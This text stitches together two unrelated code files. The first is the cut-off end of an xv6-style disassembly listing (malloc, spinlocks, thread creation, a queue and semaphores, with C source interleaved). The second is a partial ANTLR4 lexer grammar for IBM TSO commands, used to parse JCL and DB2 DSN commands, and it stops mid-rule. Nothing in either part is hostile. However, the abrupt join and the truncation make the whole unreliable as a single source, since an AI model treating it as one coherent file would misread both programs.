-0xc(%ebp),%eax 18fa: 72 4d jb 1949 <malloc+0xa6> if(p->s.size == nunits) 18fc: 8b 45 ec mov -0x14(%ebp),%eax 18ff: 8b 40 04 mov 0x4(%eax),%eax 1902: 3b 45 f4 cmp -0xc(%ebp),%eax 1905: 75 0c jne 1913 <malloc+0x70> prevp->s.ptr = p->s.ptr; 1907: 8b 45 ec mov -0x14(%ebp),%eax 190a: 8b 10 mov (%eax),%edx 190c: 8b 45 f0 mov -0x10(%ebp),%eax 190f: 89 10 mov %edx,(%eax) 1911: eb 26 jmp 1939 <malloc+0x96> else { p->s.size -= nunits; 1913: 8b 45 ec mov -0x14(%ebp),%eax 1916: 8b 40 04 mov 0x4(%eax),%eax 1919: 89 c2 mov %eax,%edx 191b: 2b 55 f4 sub -0xc(%ebp),%edx 191e: 8b 45 ec mov -0x14(%ebp),%eax 1921: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 1924: 8b 45 ec mov -0x14(%ebp),%eax 1927: 8b 40 04 mov 0x4(%eax),%eax 192a: c1 e0 03 shl $0x3,%eax 192d: 01 45 ec add %eax,-0x14(%ebp) p->s.size = nunits; 1930: 8b 45 ec mov -0x14(%ebp),%eax 1933: 8b 55 f4 mov -0xc(%ebp),%edx 1936: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 1939: 8b 45 f0 mov -0x10(%ebp),%eax 193c: a3 4c 1d 00 00 mov %eax,0x1d4c return (void*)(p + 1); 1941: 8b 45 ec mov -0x14(%ebp),%eax 1944: 83 c0 08 add $0x8,%eax 1947: eb 38 jmp 1981 <malloc+0xde> } if(p == freep) 1949: a1 4c 1d 00 00 mov 0x1d4c,%eax 194e: 39 45 ec cmp %eax,-0x14(%ebp) 1951: 75 1b jne 196e <malloc+0xcb> if((p = morecore(nunits)) == 0) 1953: 8b 45 f4 mov -0xc(%ebp),%eax 1956: 89 04 24 mov %eax,(%esp) 1959: e8 ed fe ff ff call 184b <morecore> 195e: 89 45 ec mov %eax,-0x14(%ebp) 1961: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1965: 75 07 jne 196e <malloc+0xcb> return 0; 1967: b8 00 00 00 00 mov $0x0,%eax 196c: eb 13 jmp 1981 <malloc+0xde> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 196e: 8b 45 ec mov -0x14(%ebp),%eax 1971: 89 45 f0 mov %eax,-0x10(%ebp) 1974: 8b 45 ec mov -0x14(%ebp),%eax 1977: 8b 00 mov (%eax),%eax 1979: 89 45 ec mov %eax,-0x14(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } 197c: e9 70 ff ff ff jmp 18f1 <malloc+0x4e> } 1981: c9 leave 1982: c3 ret 1983: 90 nop 00001984 <xchg>: asm volatile("sti"); } static inline uint xchg(volatile uint *addr, uint newval) { 1984: 55 push %ebp 1985: 89 e5 mov %esp,%ebp 1987: 83 ec 10 sub $0x10,%esp uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 198a: 8b 55 08 mov 0x8(%ebp),%edx 198d: 8b 45 0c mov 0xc(%ebp),%eax 1990: 8b 4d 08 mov 0x8(%ebp),%ecx 1993: f0 87 02 lock xchg %eax,(%edx) 1996: 89 45 fc mov %eax,-0x4(%ebp) "+m" (*addr), "=a" (result) : "1" (newval) : "cc"); return result; 1999: 8b 45 fc mov -0x4(%ebp),%eax } 199c: c9 leave 199d: c3 ret 0000199e <lock_init>: #include "x86.h" #include "proc.h" unsigned long rands = 1; void lock_init(lock_t *lock){ 199e: 55 push %ebp 199f: 89 e5 mov %esp,%ebp lock->locked = 0; 19a1: 8b 45 08 mov 0x8(%ebp),%eax 19a4: c7 00 00 00 00 00 movl $0x0,(%eax) } 19aa: 5d pop %ebp 19ab: c3 ret 000019ac <lock_acquire>: void lock_acquire(lock_t *lock){ 19ac: 55 push %ebp 19ad: 89 e5 mov %esp,%ebp 19af: 83 ec 08 sub $0x8,%esp while(xchg(&lock->locked,1) != 0); 19b2: 8b 45 08 mov 0x8(%ebp),%eax 19b5: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 19bc: 00 19bd: 89 04 24 mov %eax,(%esp) 19c0: e8 bf ff ff ff call 1984 <xchg> 19c5: 85 c0 test %eax,%eax 19c7: 75 e9 jne 19b2 <lock_acquire+0x6> } 19c9: c9 leave 19ca: c3 ret 000019cb <lock_release>: void lock_release(lock_t *lock){ 19cb: 55 push %ebp 19cc: 89 e5 mov %esp,%ebp 19ce: 83 ec 08 sub $0x8,%esp xchg(&lock->locked,0); 19d1: 8b 45 08 mov 0x8(%ebp),%eax 19d4: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 19db: 00 19dc: 89 04 24 mov %eax,(%esp) 19df: e8 a0 ff ff ff call 1984 <xchg> } 19e4: c9 leave 19e5: c3 ret 000019e6 <thread_create>: void *thread_create(void(*start_routine)(void*), void *arg){ 19e6: 55 push %ebp 19e7: 89 e5 mov %esp,%ebp 19e9: 83 ec 28 sub $0x28,%esp int tid; void * stack = malloc(2 * 4096); 19ec: c7 04 24 00 20 00 00 movl $0x2000,(%esp) 19f3: e8 ab fe ff ff call 18a3 <malloc> 19f8: 89 45 f0 mov %eax,-0x10(%ebp) void *garbage_stack = stack; 19fb: 8b 45 f0 mov -0x10(%ebp),%eax 19fe: 89 45 f4 mov %eax,-0xc(%ebp) // printf(1,"start routine addr : %d\n",(uint)start_routine); if((uint)stack % 4096){ 1a01: 8b 45 f0 mov -0x10(%ebp),%eax 1a04: 25 ff 0f 00 00 and $0xfff,%eax 1a09: 85 c0 test %eax,%eax 1a0b: 74 15 je 1a22 <thread_create+0x3c> stack = stack + (4096 - (uint)stack % 4096); 1a0d: 8b 45 f0 mov -0x10(%ebp),%eax 1a10: 89 c2 mov %eax,%edx 1a12: 81 e2 ff 0f 00 00 and $0xfff,%edx 1a18: b8 00 10 00 00 mov $0x1000,%eax 1a1d: 29 d0 sub %edx,%eax 1a1f: 01 45 f0 add %eax,-0x10(%ebp) } if (stack == 0){ 1a22: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 1a26: 75 1b jne 1a43 <thread_create+0x5d> printf(1,"malloc fail \n"); 1a28: c7 44 24 04 fd 1c 00 movl $0x1cfd,0x4(%esp) 1a2f: 00 1a30: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1a37: e8 81 fb ff ff call 15bd <printf> return 0; 1a3c: b8 00 00 00 00 mov $0x0,%eax 1a41: eb 6f jmp 1ab2 <thread_create+0xcc> } tid = clone((uint)stack,PSIZE,(uint)start_routine,(int)arg); 1a43: 8b 4d 0c mov 0xc(%ebp),%ecx 1a46: 8b 55 08 mov 0x8(%ebp),%edx 1a49: 8b 45 f0 mov -0x10(%ebp),%eax 1a4c: 89 4c 24 0c mov %ecx,0xc(%esp) 1a50: 89 54 24 08 mov %edx,0x8(%esp) 1a54: c7 44 24 04 00 10 00 movl $0x1000,0x4(%esp) 1a5b: 00 1a5c: 89 04 24 mov %eax,(%esp) 1a5f: e8 58 fa ff ff call 14bc <clone> 1a64: 89 45 ec mov %eax,-0x14(%ebp) if(tid < 0){ 1a67: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1a6b: 79 1b jns 1a88 <thread_create+0xa2> printf(1,"clone fails\n"); 1a6d: c7 44 24 04 0b 1d 00 movl $0x1d0b,0x4(%esp) 1a74: 00 1a75: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1a7c: e8 3c fb ff ff call 15bd <printf> return 0; 1a81: b8 00 00 00 00 mov $0x0,%eax 1a86: eb 2a jmp 1ab2 <thread_create+0xcc> } if(tid > 0){ 1a88: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1a8c: 7e 05 jle 1a93 <thread_create+0xad> //store threads on thread table return garbage_stack; 1a8e: 8b 45 f4 mov -0xc(%ebp),%eax 1a91: eb 1f jmp 1ab2 <thread_create+0xcc> } if(tid == 0){ 1a93: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1a97: 75 14 jne 1aad <thread_create+0xc7> printf(1,"tid = 0 return \n"); 1a99: c7 44 24 04 18 1d 00 movl $0x1d18,0x4(%esp) 1aa0: 00 1aa1: c7 04 24 01 00 00 00 movl $0x1,(%esp) 1aa8: e8 10 fb ff ff call 15bd <printf> } // wait(); // free(garbage_stack); return 0; 1aad: b8 00 00 00 00 mov $0x0,%eax } 1ab2: c9 leave 1ab3: c3 ret 00001ab4 <random>: // generate 0 -> max random number exclude max. int random(int max){ 1ab4: 55 push %ebp 1ab5: 89 e5 mov %esp,%ebp rands = rands * 1664525 + 1013904233; 1ab7: a1 40 1d 00 00 mov 0x1d40,%eax 1abc: 69 c0 0d 66 19 00 imul $0x19660d,%eax,%eax 1ac2: 05 69 f3 6e 3c add $0x3c6ef369,%eax 1ac7: a3 40 1d 00 00 mov %eax,0x1d40 return (int)(rands % max); 1acc: a1 40 1d 00 00 mov 0x1d40,%eax 1ad1: 8b 4d 08 mov 0x8(%ebp),%ecx 1ad4: ba 00 00 00 00 mov $0x0,%edx 1ad9: f7 f1 div %ecx 1adb: 89 d0 mov %edx,%eax } 1add: 5d pop %ebp 1ade: c3 ret 1adf: 90 nop 00001ae0 <init_q>: #include "queue.h" #include "types.h" #include "user.h" void init_q(struct queue *q){ 1ae0: 55 push %ebp 1ae1: 89 e5 mov %esp,%ebp q->size = 0; 1ae3: 8b 45 08 mov 0x8(%ebp),%eax 1ae6: c7 00 00 00 00 00 movl $0x0,(%eax) q->head = 0; 1aec: 8b 45 08 mov 0x8(%ebp),%eax 1aef: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) q->tail = 0; 1af6: 8b 45 08 mov 0x8(%ebp),%eax 1af9: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } 1b00: 5d pop %ebp 1b01: c3 ret 00001b02 <add_q>: void add_q(struct queue *q, int v){ 1b02: 55 push %ebp 1b03: 89 e5 mov %esp,%ebp 1b05: 83 ec 28 sub $0x28,%esp struct node * n = malloc(sizeof(struct node)); 1b08: c7 04 24 08 00 00 00 movl $0x8,(%esp) 1b0f: e8 8f fd ff ff call 18a3 <malloc> 1b14: 89 45 f4 mov %eax,-0xc(%ebp) n->next = 0; 1b17: 8b 45 f4 mov -0xc(%ebp),%eax 1b1a: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) n->value = v; 1b21: 8b 45 f4 mov -0xc(%ebp),%eax 1b24: 8b 55 0c mov 0xc(%ebp),%edx 1b27: 89 10 mov %edx,(%eax) if(q->head == 0){ 1b29: 8b 45 08 mov 0x8(%ebp),%eax 1b2c: 8b 40 04 mov 0x4(%eax),%eax 1b2f: 85 c0 test %eax,%eax 1b31: 75 0b jne 1b3e <add_q+0x3c> q->head = n; 1b33: 8b 45 08 mov 0x8(%ebp),%eax 1b36: 8b 55 f4 mov -0xc(%ebp),%edx 1b39: 89 50 04 mov %edx,0x4(%eax) 1b3c: eb 0c jmp 1b4a <add_q+0x48> }else{ q->tail->next = n; 1b3e: 8b 45 08 mov 0x8(%ebp),%eax 1b41: 8b 40 08 mov 0x8(%eax),%eax 1b44: 8b 55 f4 mov -0xc(%ebp),%edx 1b47: 89 50 04 mov %edx,0x4(%eax) } q->tail = n; 1b4a: 8b 45 08 mov 0x8(%ebp),%eax 1b4d: 8b 55 f4 mov -0xc(%ebp),%edx 1b50: 89 50 08 mov %edx,0x8(%eax) q->size++; 1b53: 8b 45 08 mov 0x8(%ebp),%eax 1b56: 8b 00 mov (%eax),%eax 1b58: 8d 50 01 lea 0x1(%eax),%edx 1b5b: 8b 45 08 mov 0x8(%ebp),%eax 1b5e: 89 10 mov %edx,(%eax) } 1b60: c9 leave 1b61: c3 ret 00001b62 <empty_q>: int empty_q(struct queue *q){ 1b62: 55 push %ebp 1b63: 89 e5 mov %esp,%ebp if(q->size == 0) 1b65: 8b 45 08 mov 0x8(%ebp),%eax 1b68: 8b 00 mov (%eax),%eax 1b6a: 85 c0 test %eax,%eax 1b6c: 75 07 jne 1b75 <empty_q+0x13> return 1; 1b6e: b8 01 00 00 00 mov $0x1,%eax 1b73: eb 05 jmp 1b7a <empty_q+0x18> else return 0; 1b75: b8 00 00 00 00 mov $0x0,%eax } 1b7a: 5d pop %ebp 1b7b: c3 ret 00001b7c <pop_q>: int pop_q(struct queue *q){ 1b7c: 55 push %ebp 1b7d: 89 e5 mov %esp,%ebp 1b7f: 83 ec 28 sub $0x28,%esp int val; struct node *destroy; if(!empty_q(q)){ 1b82: 8b 45 08 mov 0x8(%ebp),%eax 1b85: 89 04 24 mov %eax,(%esp) 1b88: e8 d5 ff ff ff call 1b62 <empty_q> 1b8d: 85 c0 test %eax,%eax 1b8f: 75 5d jne 1bee <pop_q+0x72> val = q->head->value; 1b91: 8b 45 08 mov 0x8(%ebp),%eax 1b94: 8b 40 04 mov 0x4(%eax),%eax 1b97: 8b 00 mov (%eax),%eax 1b99: 89 45 f0 mov %eax,-0x10(%ebp) destroy = q->head; 1b9c: 8b 45 08 mov 0x8(%ebp),%eax 1b9f: 8b 40 04 mov 0x4(%eax),%eax 1ba2: 89 45 f4 mov %eax,-0xc(%ebp) q->head = q->head->next; 1ba5: 8b 45 08 mov 0x8(%ebp),%eax 1ba8: 8b 40 04 mov 0x4(%eax),%eax 1bab: 8b 50 04 mov 0x4(%eax),%edx 1bae: 8b 45 08 mov 0x8(%ebp),%eax 1bb1: 89 50 04 mov %edx,0x4(%eax) free(destroy); 1bb4: 8b 45 f4 mov -0xc(%ebp),%eax 1bb7: 89 04 24 mov %eax,(%esp) 1bba: e8 b5 fb ff ff call 1774 <free> q->size--; 1bbf: 8b 45 08 mov 0x8(%ebp),%eax 1bc2: 8b 00 mov (%eax),%eax 1bc4: 8d 50 ff lea -0x1(%eax),%edx 1bc7: 8b 45 08 mov 0x8(%ebp),%eax 1bca: 89 10 mov %edx,(%eax) if(q->size == 0){ 1bcc: 8b 45 08 mov 0x8(%ebp),%eax 1bcf: 8b 00 mov (%eax),%eax 1bd1: 85 c0 test %eax,%eax 1bd3: 75 14 jne 1be9 <pop_q+0x6d> q->head = 0; 1bd5: 8b 45 08 mov 0x8(%ebp),%eax 1bd8: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) q->tail = 0; 1bdf: 8b 45 08 mov 0x8(%ebp),%eax 1be2: c7 40 08 00 00 00 00 movl $0x0,0x8(%eax) } return val; 1be9: 8b 45 f0 mov -0x10(%ebp),%eax 1bec: eb 05 jmp 1bf3 <pop_q+0x77> } return -1; 1bee: b8 ff ff ff ff mov $0xffffffff,%eax } 1bf3: c9 leave 1bf4: c3 ret 1bf5: 90 nop 1bf6: 90 nop 1bf7: 90 nop 00001bf8 <sem_acquire>: #include "semaphore.h" void sem_acquire(struct Semaphore *s) { 1bf8: 55 push %ebp 1bf9: 89 e5 mov %esp,%ebp 1bfb: 83 ec 18 sub $0x18,%esp lock_acquire(&s->lock); 1bfe: 8b 45 08 mov 0x8(%ebp),%eax 1c01: 89 04 24 mov %eax,(%esp) 1c04: e8 a3 fd ff ff call 19ac <lock_acquire> s->count--; 1c09: 8b 45 08 mov 0x8(%ebp),%eax 1c0c: 8b 40 04 mov 0x4(%eax),%eax 1c0f: 8d 50 ff lea -0x1(%eax),%edx 1c12: 8b 45 08 mov 0x8(%ebp),%eax 1c15: 89 50 04 mov %edx,0x4(%eax) if( s->count < 0) 1c18: 8b 45 08 mov 0x8(%ebp),%eax 1c1b: 8b 40 04 mov 0x4(%eax),%eax 1c1e: 85 c0 test %eax,%eax 1c20: 79 27 jns 1c49 <sem_acquire+0x51> { add_q(&s->q, getpid()); 1c22: e8 75 f8 ff ff call 149c <getpid> 1c27: 8b 55 08 mov 0x8(%ebp),%edx 1c2a: 83 c2 08 add $0x8,%edx 1c2d: 89 44 24 04 mov %eax,0x4(%esp) 1c31: 89 14 24 mov %edx,(%esp) 1c34: e8 c9 fe ff ff call 1b02 <add_q> lock_release(&s->lock); 1c39: 8b 45 08 mov 0x8(%ebp),%eax 1c3c: 89 04 24 mov %eax,(%esp) 1c3f: e8 87 fd ff ff call 19cb <lock_release> tsleep(); 1c44: e8 83 f8 ff ff call 14cc <tsleep> } lock_release(&s->lock); 1c49: 8b 45 08 mov 0x8(%ebp),%eax 1c4c: 89 04 24 mov %eax,(%esp) 1c4f: e8 77 fd ff ff call 19cb <lock_release> } 1c54: c9 leave 1c55: c3 ret 00001c56 <sem_signal>: void sem_signal(struct Semaphore *s) { 1c56: 55 push %ebp 1c57: 89 e5 mov %esp,%ebp 1c59: 83 ec 28 sub $0x28,%esp lock_acquire(&s->lock); 1c5c: 8b 45 08 mov 0x8(%ebp),%eax 1c5f: 89 04 24 mov %eax,(%esp) 1c62: e8 45 fd ff ff call 19ac <lock_acquire> s->count++; 1c67: 8b 45 08 mov 0x8(%ebp),%eax 1c6a: 8b 40 04 mov 0x4(%eax),%eax 1c6d: 8d 50 01 lea 0x1(%eax),%edx 1c70: 8b 45 08 mov 0x8(%ebp),%eax 1c73: 89 50 04 mov %edx,0x4(%eax) if( s->count <= 0) 1c76: 8b 45 08 mov 0x8(%ebp),%eax 1c79: 8b 40 04 mov 0x4(%eax),%eax 1c7c: 85 c0 test %eax,%eax 1c7e: 7f 1c jg 1c9c <sem_signal+0x46> { int tid = pop_q(&s->q); 1c80: 8b 45 08 mov 0x8(%ebp),%eax 1c83: 83 c0 08 add $0x8,%eax 1c86: 89 04 24 mov %eax,(%esp) 1c89: e8 ee fe ff ff call 1b7c <pop_q> 1c8e: 89 45 f4 mov %eax,-0xc(%ebp) twakeup(tid); 1c91: 8b 45 f4 mov -0xc(%ebp),%eax 1c94: 89 04 24 mov %eax,(%esp) 1c97: e8 38 f8 ff ff call 14d4 <twakeup> } lock_release(&s->lock); 1c9c: 8b 45 08 mov 0x8(%ebp),%eax 1c9f: 89 04 24 mov %eax,(%esp) 1ca2: e8 24 fd ff ff call 19cb <lock_release> } 1ca7: c9 leave 1ca8: c3 ret 00001ca9 <sem_init>: void sem_init(struct Semaphore *s, int size){ 1ca9: 55 push %ebp 1caa: 89 e5 mov %esp,%ebp 1cac: 83 ec 18 sub $0x18,%esp lock_init(&s->lock); 1caf: 8b 45 08 mov 0x8(%ebp),%eax 1cb2: 89 04 24 mov %eax,(%esp) 1cb5: e8 e4 fc ff ff call 199e <lock_init> s->count = size; 1cba: 8b 45 08 mov 0x8(%ebp),%eax 1cbd: 8b 55 0c mov 0xc(%ebp),%edx 1cc0: 89 50 04 mov %edx,0x4(%eax) init_q(&s->q); 1cc3: 8b 45 08 mov 0x8(%ebp),%eax 1cc6: 83 c0 08 add $0x8,%eax 1cc9: 89 04 24 mov %eax,(%esp) 1ccc: e8 0f fe ff ff call 1ae0 <init_q> } 1cd1: c9 leave 1cd2: c3 ret
jcl/src/TSOLexer.g4
Trisk3lion/mapa
6
5075
/* Copyright (C) 2020 <NAME>. All rights reserved. I accept no liability for damages of any kind resulting from the use of this software. Use at your own risk. This software may be modified and distributed under the terms of the MIT license. See the LICENSE file for details. This is intended to be a minimal ANTLR4 grammar for TSO commands. The primary purpose is to allow a listener to obtain any DSN commands without too much tumult being caused by any surrounding TSO commands. In parsing JCL, one may encounter an execution of IKJEFT01, IKJEFT1A, or IKJEFT1B, all of which are entry points in TSO. It is common to execute applications with embedded SQL accessing DB2 via the TSO Attachment Facility, with the SYSTSIN DD pointing at statements such as... DSN SYSTEM(DB2P) RUN PROGRAM(J8675309) PLAN(J8675309) - PARMS('ABLEBAKERCHARLIEDOGEASYFOX') END ...causing the execution of the application. DSN, the DB2 command processor that runs as a TSO command processor, may have its commands embedded along with other TSO commands. This grammar is part of a project to parse JCL, which itself is part of a larger project whose aim is to assist in mainframe application portfolio analysis by making it possible to construct an inventory of programs, procedures, et. al. An application might make use of this grammar by detecting execution of TSO and parsing its SYSTSIN to obtain any DSN commands, parse those using the DSNTSO parser which is also part of this project, and thus obtain the actual program(s) being executed under the TSO monitor program running the DSN command processor. Additionally, and this only became apparent as this grammar was being coded, an application might make use of this grammar to detect execution of arbitrary z/OS applications via the CALL command, and arbitrary allocation of datasets via the ALLOCATE command. Yes, it is possible to code... //STEP0001 EXEC PGM=IKJEFT01 //SYSTSPRT DD SYSOUT=* //SYSTSIN DD * ALLOCATE DDNAME(MASTER) DA('PAYROLL.MASTER') SHR ALLOCATE DDNAME(NEWMAST) DA('NEW.PAYROLL.MASTER') - LIKE('PAYROLL.MASTER') ALLOCATE DDNAME(TRANFILE) DA('CURRENT.PAYROLL.TRANSACT') SHR ALLOCATE DDNAME(REPORT01) SYSOUT CALL *PAYUPDAT WHEN SYSRC(= 0) SE 'NEW PAYROLL MASTER CREATED SUCCESSFULLY' - USER(HR001) LOGON WHEN SYSRC(> 0) SE 'ERROR IN CREATING NEW PAYROLL MASTER' - USER(HR001) LOGON FREE DDNAME(MASTER NEWMAST TRANSFILE REPORT01) //* This could continue, executing other programs ...and you can hide all those TSO commands inside a file with other control statements, thus ensuring JCL analysis to be incomplete. */ lexer grammar TSOLexer; channels { COMMENTS } fragment A:('a'|'A'); fragment B:('b'|'B'); fragment C:('c'|'C'); fragment D:('d'|'D'); fragment E:('e'|'E'); fragment F:('f'|'F'); fragment G:('g'|'G'); fragment H:('h'|'H'); fragment I:('i'|'I'); fragment J:('j'|'J'); fragment K:('k'|'K'); fragment L:('l'|'L'); fragment M:('m'|'M'); fragment N:('n'|'N'); fragment O:('o'|'O'); fragment P:('p'|'P'); fragment Q:('q'|'Q'); fragment R:('r'|'R'); fragment S:('s'|'S'); fragment T:('t'|'T'); fragment U:('u'|'U'); fragment V:('v'|'V'); fragment W:('w'|'W'); fragment X:('x'|'X'); fragment Y:('y'|'Y'); fragment Z:('z'|'Z'); fragment AMPERSAND : '&' ; fragment OP_EQ : ((E Q) | '=') ; fragment OP_NE : ((N E) | '^=') ; fragment OP_GT : ((G T) | '>') ; fragment OP_LT : ((L T) | '<') ; fragment OP_GE : ((G E) | '>=') ; fragment OP_NG : ((N G) | '^>') ; fragment OP_LE : ((L E) | '<=') ; fragment OP_NL : ((N L) | '^<') ; LPAREN : '(' ; RPAREN : ')' ; NEWLINE : [\n\r] ->channel(HIDDEN) ; WS : [ ]+ ->channel(HIDDEN) ; DASH : '-' ; PLUS : '+' ; ASTERISK : '*' ; SLASH : '/' ; COMMENT_START : SLASH ASTERISK ->channel(COMMENTS),pushMode(CM_MODE) ; SQUOTE : '\'' ->channel(HIDDEN),pushMode(QS_MODE) ; SQUOTE2 : SQUOTE SQUOTE ; COMMA : ',' ; SEMI : ';' ->channel(HIDDEN) ; DSN : D S N ->pushMode(DSN_CMD_MODE) ; ALLOCATE : A L L O C A T E ->pushMode(CMD_PARM_MODE) ; ALLOC : A L L O C ->pushMode(CMD_PARM_MODE) ; ALTLIB : A L T L I B ->pushMode(CMD_PARM_MODE) ; ATTRIB : A T T R I B ->pushMode(CMD_PARM_MODE) ; ATTR : A T T R ->pushMode(CMD_PARM_MODE) ; CALL : C A L L ->mode(CALL_WS_MODE) ; CANCEL : C A N C E L ->pushMode(CMD_PARM_MODE) ; DELETE : D E L E T E ->pushMode(CMD_PARM_MODE) ; DEL : D E L ->pushMode(CMD_PARM_MODE) ; EDIT : E D I T ->pushMode(EDIT_CMD_MODE) ; END : E N D ->pushMode(CMD_PARM_MODE) ; EXEC : E X E C ->pushMode(CMD_PARM_MODE) ; EX : E X ->pushMode(CMD_PARM_MODE) ; EXECUTIL : E X E C U T I L ->pushMode(CMD_PARM_MODE) ; FREE : F R E E ->pushMode(CMD_PARM_MODE) ; HELP : H E L P ->pushMode(CMD_PARM_MODE) ; LINK : L I N K ->pushMode(CMD_PARM_MODE) ; LISTALC : L I S T A L C ->pushMode(CMD_PARM_MODE) ; LISTA : L I S T A ->pushMode(CMD_PARM_MODE) ; LISTBC : L I S T B C ->pushMode(CMD_PARM_MODE) ; LISTB : L I S T B ->pushMode(CMD_PARM_MODE) ; LISTCAT : L I S T C A T ->pushMode(CMD_PARM_MODE) ; LISTC : L I S T C ->pushMode(CMD_PARM_MODE) ; LISTDS : L I S T D S ->pushMode(CMD_PARM_MODE) ; LOADGO : L O A D G O ->pushMode(CMD_PARM_MODE) ; LOAD : L O A D ->pushMode(CMD_PARM_MODE) ; LOGOFF : L O G O F F ->pushMode(CMD_PARM_MODE) ; LOGON : L O G O N ->pushMode(CMD_PARM_MODE) ; OUTDES : O U T D E S ->pushMode(CMD_PARM_MODE) ; OUTPUT : O U T P U T ->pushMode(CMD_PARM_MODE) ; OUT : O U T ->pushMode(CMD_PARM_MODE) ; PRINTDS : P R I N T D S ->pushMode(CMD_PARM_MODE) ; PR : P R ->pushMode(CMD_PARM_MODE) ; PROFILE : P R O F I L E ->pushMode(CMD_PARM_MODE) ; PROF : P R O F ->pushMode(CMD_PARM_MODE) ; PROTECT : P R O T E C T ->pushMode(CMD_PARM_MODE) ; PROT : P R O T ->pushMode(CMD_PARM_MODE) ; RECEIVE : R E C E I V E ->pushMode(CMD_PARM_MODE) ; RENAME : R E N A M E ->pushMode(CMD_PARM_MODE) ; REN : R E N ->pushMode(CMD_PARM_MODE) ; RUN : R U N ->pushMode(CMD_PARM_MODE) ; SEND : S E N D ->pushMode(CMD_PARM_MODE) ; SE : S E ->pushMode(CMD_PARM_MODE) ; SMCOPY : S M C O P Y ->pushMode(CMD_PARM_MODE) ; SMC : S M C ->pushMode(CMD_PARM_MODE) ; SMFIND : S M F I N D ->pushMode(CMD_PARM_MODE) ; SMF : S M F ->pushMode(CMD_PARM_MODE) ; SMPUT : S M P U T ->pushMode(CMD_PARM_MODE) ; SMP : S M P ->pushMode(CMD_PARM_MODE) ; STATUS : S T A T U S ->pushMode(CMD_PARM_MODE) ; ST : S T ->pushMode(CMD_PARM_MODE) ; SUBMIT : S U B M I T ->pushMode(CMD_PARM_MODE) ; SUB : S U B ->pushMode(CMD_PARM_MODE) ; TERMINAL : T E R M I N A L ->pushMode(CMD_PARM_MODE) ; TERM : T E R M ->pushMode(CMD_PARM_MODE) ; TEST : T E S T ->pushMode(CMD_PARM_MODE) ; TIME : T I M E ->pushMode(CMD_PARM_MODE) ; TRANSMIT : T R A N S M I T ->pushMode(CMD_PARM_MODE) ; XMIT : X M I T ->pushMode(CMD_PARM_MODE) ; TSOEXEC : T S O E X E C ->pushMode(CMD_PARM_MODE) ; TSOLIB : T S O L I B ->pushMode(CMD_PARM_MODE) ; VLFNOTE : V L F N O T E ->pushMode(CMD_PARM_MODE) ; WHEN : W H E N ->pushMode(WHEN_WS_MODE) ; CLIST : '%' [a-zA-Z0-9@#$]+ ->pushMode(CMD_PARM_MODE) ; /* If E_, H_, and R_ are defined prior to IMPLICIT_CLIST then any otherwise unrecognized command containing any of those characters is recognized as that character and the rest of the token is unrecognized. Unfortunately, that means that E_, H_, and R_ will be recognized by the lexer as a CLIST token. I can live with that. Hopefully you can too. Also, using setType() to force the type of token emitted doesn't seem to work. getType() shows it's being done, but the parser still sees CLIST as the token type. */ IMPLICIT_CLIST : [a-zA-Z0-9@#$]+ { if (getText().equalsIgnoreCase("E")) { pushMode(EDIT_CMD_MODE); } else { pushMode(CMD_PARM_MODE); } } ->type(CLIST) ; E_ : E ->pushMode(EDIT_CMD_MODE) ; H_ : H ->pushMode(CMD_PARM_MODE) ; R_ : R ->pushMode(CMD_PARM_MODE) ; mode CMD_PARM_MODE ; /* The whitespace is not hidden because the parser gets confused about the end of a CMD_PARM token if it is. */ CMD_PARM_WS : WS ; CMD_PARM_CONTINUATION : (DASH | PLUS) WS? NEWLINE ->channel(HIDDEN) ; CMD_PARM_NEWLINE : NEWLINE ->type(NEWLINE),channel(HIDDEN),popMode ; CMD_PARM_SQUOTE : SQUOTE ->channel(HIDDEN),pushMode(QS_MODE) ; CMD_PARM_COMMENT_START : SLASH ASTERISK ->type(COMMENT_START),channel(COMMENTS),pushMode(CM_MODE) ; CMD_PARM : ~[ \n\r] ; mode ARG_MODE ; ARG_LPAREN : LPAREN ->type(LPAREN),pushMode(ARG_MODE) ; ARG_RPAREN : RPAREN ->type(RPAREN),popMode ; ARG_NEWLINE : NEWLINE ->type(NEWLINE),channel(HIDDEN) ; ARG_SQUOTE : SQUOTE ->channel(HIDDEN),pushMode(QS_MODE) ; ARG_CONTINUATION : (DASH | PLUS) WS? NEWLINE ->channel(HIDDEN) ; ARG : ~[\n\r] ; mode CM_MODE ; CM_COMMENT_END : ASTERISK SLASH ->channel(COMMENTS),popMode ; CM_CONTINUATION : (DASH | PLUS) WS? NEWLINE ->channel(HIDDEN) ; CM_NEWLINE : NEWLINE { _modeStack.clear(); } ->type(NEWLINE),channel(COMMENTS),mode(DEFAULT_MODE) ; COMMENT : ~[\n\r] ->channel(COMMENTS) ; mode QS_MODE ; QS_SQUOTE2 : SQUOTE SQUOTE ->type(SQUOTE2) ; QS_SQUOTE : SQUOTE ->channel(HIDDEN),popMode ; fragment ANYCHAR_NOSQUOTE : ~['\n\r] ; QS_NEWLINE : [\n\r] ->channel(HIDDEN) ; QS_WS : WS ->channel(HIDDEN) ; QS_CONTINUATION : (DASH | PLUS) QS_WS? NEWLINE ->channel(HIDDEN) ; QUOTED_STRING_FRAGMENT : (ANYCHAR_NOSQUOTE)+? ; mode DSN_CMD_MODE ; DSN_END : E N D ->popMode ; DSN_CMD_STREAM : .+? ; mode EDIT_CMD_MODE ; EDIT_END : NEWLINE E N D ->popMode ; EDIT_CMD_STREAM : .+? ; mode CALL_WS_MODE ; CALL_WS_WS : WS 